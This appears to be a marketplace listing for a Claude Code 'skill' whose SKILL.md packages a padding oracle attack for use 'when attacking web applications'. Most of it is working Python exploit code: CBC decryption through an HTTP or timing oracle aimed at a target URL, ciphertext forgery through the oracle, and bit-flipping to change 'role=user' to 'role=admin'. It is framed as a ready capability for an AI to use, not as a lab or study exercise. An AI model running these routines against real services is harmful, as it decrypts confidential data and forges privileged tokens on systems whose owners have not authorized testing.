Claude Code Plugins

Community-maintained marketplace

Feedback
15
0

Exploit padding oracle vulnerabilities in CBC mode encryption. Use this skill when attacking web applications or services that leak information about PKCS7 padding validity.

Install Skill

1Download skill
2Enable skills in Claude

Open claude.ai/settings/capabilities and find the "Skills" section

3Upload to Claude

Click "Upload skill" and select the downloaded ZIP file

Note: Please verify skill by going through its instructions before using it.

SKILL.md

name padding-oracle
description Exploit padding oracle vulnerabilities in CBC mode encryption. Use this skill when attacking web applications or services that leak information about PKCS7 padding validity.

Padding Oracle Attacks

Exploit padding validation leaks to decrypt ciphertext.

PKCS7 Padding Overview

def pkcs7_pad(data: bytes, block_size: int = 16) -> bytes:
    """Apply PKCS7 padding."""
    padding_len = block_size - (len(data) % block_size)
    return data + bytes([padding_len] * padding_len)

def pkcs7_unpad(data: bytes) -> bytes:
    """Remove and validate PKCS7 padding."""
    if not data:
        raise ValueError("Empty data")

    padding_len = data[-1]

    if padding_len == 0 or padding_len > len(data):
        raise ValueError("Invalid padding length")

    for i in range(padding_len):
        if data[-(i+1)] != padding_len:
            raise ValueError("Invalid padding bytes")

    return data[:-padding_len]

# Valid padding examples:
# b"hello\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b" (11 bytes of \x0b)
# b"hello world\x05\x05\x05\x05\x05" (5 bytes of \x05)
# Full block of padding: b"\x10" * 16

Padding Oracle Attack Concept

"""
CBC Decryption: P[i] = D(C[i]) XOR C[i-1]

The attack works because:
1. We control C[i-1] (the IV or previous ciphertext block)
2. Server tells us if padding is valid after decryption
3. We can deduce D(C[i]) byte by byte

For the last byte:
- We want P'[15] = 0x01 (valid single-byte padding)
- P'[15] = D(C[i])[15] XOR C'[i-1][15]
- If we find C'[i-1][15] that gives valid padding:
  D(C[i])[15] = C'[i-1][15] XOR 0x01
- Original plaintext: P[15] = D(C[i])[15] XOR C[i-1][15]
"""

Basic Padding Oracle Attack

from typing import Callable

def padding_oracle_attack_block(
    ciphertext_block: bytes,
    previous_block: bytes,
    oracle: Callable[[bytes, bytes], bool],
    block_size: int = 16
) -> bytes:
    """Decrypt one block using padding oracle.

    Args:
        ciphertext_block: The block to decrypt
        previous_block: IV or previous ciphertext block
        oracle: Function that returns True if padding is valid
        block_size: Block size (default 16 for AES)

    Returns:
        Decrypted plaintext block
    """
    intermediate = bytearray(block_size)
    plaintext = bytearray(block_size)

    for byte_index in range(block_size - 1, -1, -1):
        padding_value = block_size - byte_index

        # Build the suffix of our crafted block
        crafted = bytearray(block_size)
        for i in range(byte_index + 1, block_size):
            crafted[i] = intermediate[i] ^ padding_value

        # Brute force the current byte
        for guess in range(256):
            crafted[byte_index] = guess

            if oracle(bytes(crafted), ciphertext_block):
                # Handle false positive for last byte
                if byte_index == block_size - 1:
                    # Verify by changing previous byte
                    crafted[byte_index - 1] ^= 1
                    if not oracle(bytes(crafted), ciphertext_block):
                        continue

                intermediate[byte_index] = guess ^ padding_value
                plaintext[byte_index] = intermediate[byte_index] ^ previous_block[byte_index]
                break

    return bytes(plaintext)

def full_padding_oracle_attack(
    ciphertext: bytes,
    iv: bytes,
    oracle: Callable[[bytes], bool],
    block_size: int = 16
) -> bytes:
    """Decrypt entire ciphertext using padding oracle."""
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]

    plaintext = b''

    for i, block in enumerate(blocks):
        prev = iv if i == 0 else blocks[i-1]

        def block_oracle(crafted, target):
            full_ct = crafted + target
            if i > 0:
                full_ct = b'\x00' * (i * block_size) + full_ct
            return oracle(full_ct)

        decrypted = padding_oracle_attack_block(block, prev, block_oracle)
        plaintext += decrypted

    return pkcs7_unpad(plaintext)

Web Padding Oracle Attack

import requests
import base64
from urllib.parse import quote

def create_web_oracle(url: str, param_name: str = 'data') -> Callable:
    """Create oracle function for web application.

    Detects padding errors from HTTP response.
    """
    def oracle(ciphertext: bytes) -> bool:
        encoded = base64.b64encode(ciphertext).decode()

        try:
            response = requests.get(
                url,
                params={param_name: encoded},
                timeout=10
            )

            # Customize based on application behavior
            # Some possibilities:
            # - Different HTTP status codes
            # - Different response times
            # - Different error messages

            if 'padding' in response.text.lower():
                return False
            if response.status_code == 500:
                return False
            if 'error' in response.text.lower():
                return False

            return True

        except requests.exceptions.Timeout:
            # Timing-based oracle
            return True

    return oracle

# Example usage
"""
oracle = create_web_oracle('https://vulnerable.com/decrypt')
plaintext = full_padding_oracle_attack(ciphertext, iv, oracle)
"""

CBC Bit Flipping Attack

def cbc_bitflip(
    ciphertext: bytes,
    iv: bytes,
    known_plaintext: bytes,
    target_plaintext: bytes,
    block_index: int,
    byte_offset: int,
    block_size: int = 16
) -> tuple:
    """Flip bits in ciphertext to change decrypted plaintext.

    Modifying C[i-1] affects P[i]:
    P[i] = D(C[i]) XOR C[i-1]

    To change P[i][j] from known to target:
    C'[i-1][j] = C[i-1][j] XOR known[j] XOR target[j]
    """
    ct = bytearray(ciphertext)

    # Determine which byte to modify
    if block_index == 0:
        # Modify IV
        iv = bytearray(iv)
        iv[byte_offset] ^= known_plaintext[byte_offset] ^ target_plaintext[byte_offset]
        return bytes(iv), bytes(ct)
    else:
        # Modify previous ciphertext block
        modify_pos = (block_index - 1) * block_size + byte_offset
        ct[modify_pos] ^= known_plaintext[byte_offset] ^ target_plaintext[byte_offset]
        return iv, bytes(ct)

# Example: Change "role=user" to "role=admin"
# Known: "....role=user...." at block 2
# Target: "...role=admin..." (but must be same length for XOR)

Padding Oracle Encryption (POET)

def padding_oracle_encrypt(
    plaintext: bytes,
    oracle: Callable[[bytes], bool],
    block_size: int = 16
) -> bytes:
    """Encrypt arbitrary plaintext using only a decryption padding oracle.

    This creates valid ciphertext that decrypts to our plaintext.
    """
    plaintext = pkcs7_pad(plaintext, block_size)
    num_blocks = len(plaintext) // block_size

    # Start with random last block
    import os
    ciphertext = os.urandom(block_size)

    for block_idx in range(num_blocks - 1, -1, -1):
        target_plain = plaintext[block_idx * block_size:(block_idx + 1) * block_size]

        # Find intermediate values for current ciphertext block
        intermediate = bytearray(block_size)

        for byte_idx in range(block_size - 1, -1, -1):
            padding_val = block_size - byte_idx
            crafted = bytearray(block_size)

            for i in range(byte_idx + 1, block_size):
                crafted[i] = intermediate[i] ^ padding_val

            for guess in range(256):
                crafted[byte_idx] = guess
                test_ct = bytes(crafted) + ciphertext[:block_size]

                if oracle(test_ct):
                    intermediate[byte_idx] = guess ^ padding_val
                    break

        # Compute previous block (or IV)
        new_block = bytes(i ^ p for i, p in zip(intermediate, target_plain))
        ciphertext = new_block + ciphertext

    # First block_size bytes is the IV
    return ciphertext

# The returned ciphertext[:16] is the IV, rest is ciphertext

Timing-Based Padding Oracle

import time
import statistics

def timing_oracle(
    url: str,
    samples: int = 5,
    threshold_ms: float = 50
) -> Callable:
    """Create timing-based padding oracle.

    Some implementations take longer to process valid padding.
    """
    def oracle(ciphertext: bytes) -> bool:
        times = []

        for _ in range(samples):
            start = time.perf_counter()

            try:
                requests.get(
                    url,
                    params={'data': base64.b64encode(ciphertext).decode()},
                    timeout=5
                )
            except:
                pass

            elapsed = (time.perf_counter() - start) * 1000
            times.append(elapsed)

        avg_time = statistics.mean(times)

        # Valid padding often takes longer (or shorter depending on impl)
        return avg_time > threshold_ms

    return oracle